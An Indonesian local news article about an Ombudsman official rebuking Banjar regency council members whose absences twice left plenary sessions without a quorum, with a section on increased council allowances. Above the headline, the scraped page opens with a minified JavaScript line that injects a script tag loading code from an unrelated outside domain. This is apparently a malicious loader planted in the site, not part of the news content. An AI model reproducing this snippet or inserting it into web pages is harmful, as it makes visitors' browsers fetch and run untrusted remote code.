(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ombudsman : Dewan Bolos Tak Paham Tugas dan Fungsinya!


MARTAPURA, Kegagalan dua agenda paripurna di DPRD Banjar akibat ‘hilangnya’ sebagian besar anggota dewan, menjadi keprihatinan sejumlah pihak. Ketua Ombudsman RI Perwakilan Kalsel Noorhalis Madjid mengatakan, kasus di DPRD Banjar merupakan wujud gambaran ketidakpahaman akan tugas dan fungsi  yang mestinya harus dijalankan.

“Mereka tidak tahu tugasnya sangat berat memperjuangkan aspirasi masyarakat, penyambung lidah masyarakat. Rutin turun saja belum tentu mampu berkontribusi menjawab berbagai persoalan daerah, apalagi jarang masuk kerja,” kata Noorhalis kepada Kanalkalimantan.com, Selasa (10/4).

Dia mengatakan, kenyataan tersebut harus menjadi pelajaran bagi masyarakat pemilih untuk mengingat. Agar jangan memilih pada pemilu berikutnya dengan hanya embel-embe serangan fajar ataupun janji belaka.

“Masyarakat yang dirugikan atas tindakan anggota dewan tersebut, harus menyampaikan kepada pimpinan partai yang memayunginya,” tegasnya.

Menurut Noorhalis, salah satu tugas anggota dewan adalah nenperjuangan terwujudnya pelayanan publik yang baik, mudah, dan akses bagi semua kalangan.

“Tugas itu sangat berat, karena itu fokuslah pada tugas dan fungsinya. Masyarakat sudah memberikan amanah, jangan kecewakan masyarakat,” kata dia.

Memang ironis, dua kali agenda rapat paripurna membahas hasil kinerja Pansus Hak Angket batal karena banyaknya anggota dewan yang tidak masuk. Senin (9/4) kemarin, dari 45 anggota dewan, hanya 19 anggota yang hadir dalam rapat paripurna sehingga belum tercapai kuorum. Sebelumnya paripurna agenda sama yang diagendakan pada Senin (26/3) juga batal dilaksanakan dengan sebab sama. Hanya 10 orang yang hadir dalam paripurna.

Wakil ketua DPRD Banjar Saidan Pahmi, selaku pimpinan sidang pun kecewa atas ketidakhadiran anggota dewan tersebut. Bahkan dia berjanji akan mengingatkan mereka terkait dengan etika dan aturan yang harus dijalankan.

Di sisi lain, Sekretaris Dewan Kabupaten Banjar, Ibrahim G Intan, SE. AK yang ditemui KanalKalimantan.com, mengatakan, sebenarnya agenda rapat paripurna sudah terjadwalkan sebulan sebelumnya dan disetujui seluruh anggota dewan. Tapi kenyataannya banyak yang bolos dalam agenda tersebut, yang mengakibatkan agenda sidang ditunda lagi.

“Memang agenda sidang sudah dirapatkan dan disetujui oleh seluruh anggota, namun kenyataannya masih banyak yang bolos,” ujarnya.

Dari pantaun di gedung dewan, sejak pukul 09.00 Wita hingga pukul 12.00 Wita tadi, hampir tak ada aktivitas apapun di rumah wakil rakyat tersebut. Kesibukan di ruang komisi pun tidak terlihat sama sekali.

Dikonfirmasi akan hal tersebut, Ibrahim mengatakan sebagian dewan ada yang melaksanakan kunjungan kerja (Kunker). “Tapi jam 13.00 Wita sudah kembali lagi ke kantor (dewan) karena ada acara sosialisasi,” katanya.

Kenaikan Tunjangan Dewan 2018

Sebelumnya diberitakan, beban APBD Kabupaten Banjar untuk tahun anggaran 2018 dipastikan bertambah. Salah satu beban, adalah kenaikan tunjungan dewan. Peraturan Pemerintah (PP) 18/2017 tentang Hak Keuangan dan Hak Administratif Pimpinan dan Anggota DPRD menjadi angin segar bagi para wakil rakyat di daerah. Karena disebutkan dalam PP pengganti regulasi sebelumnya, PP 24/2004, adanya kenaikan penghasilan dari beberapa item tunjangan.

Tak lama setelah PP diundangkan pada akhir Mei 2017, DPRD Kabupaten Banjar langsung menyusun Rancangan Peraturan Daerah (Raperda) yang sudah disahkan menjadi Perda. Kenaikan tunjangan dewan telah diatur melalui Perbup. “Yang pasti kenaikan tunjangan untuk anggota DPRD kabupaten harus di bawah tunjangan DPRD provinsi,” kata Ibrahim beberapa waktu silam.

Sementara itu Andin Sofyannor, Ketua Badan Legislasi (Banleg) DPRD Kabupaten Banjar yang sempat dikonfirmasi terkait hal itu menyampaikan, estimasi kenaikan tunjangan anggota DPRD Kabupaten Banjar sebesar 30 persen dari yang diterima saat ini.

Bupati Banjar H. Khalilurrahman sebelumnya juga mengatakan, karena sudah menjadi ketentuan yang dituangkan dalam sebuah Peraturan Pemerintah (PP) akan tetap melaksanakannya meski kondisi keuangan daerah banyak dipangkas. “Karena memang sudah ketentuaanya begitu, ya tentu akan kami laksanakan,” ujarnya.(hendera)

Reporter : Rendy, Hendera
Editor : Chell

Desy Arfianty

Recent Posts

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

4 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

14 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

14 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

15 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

16 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

17 jam ago

This website uses cookies.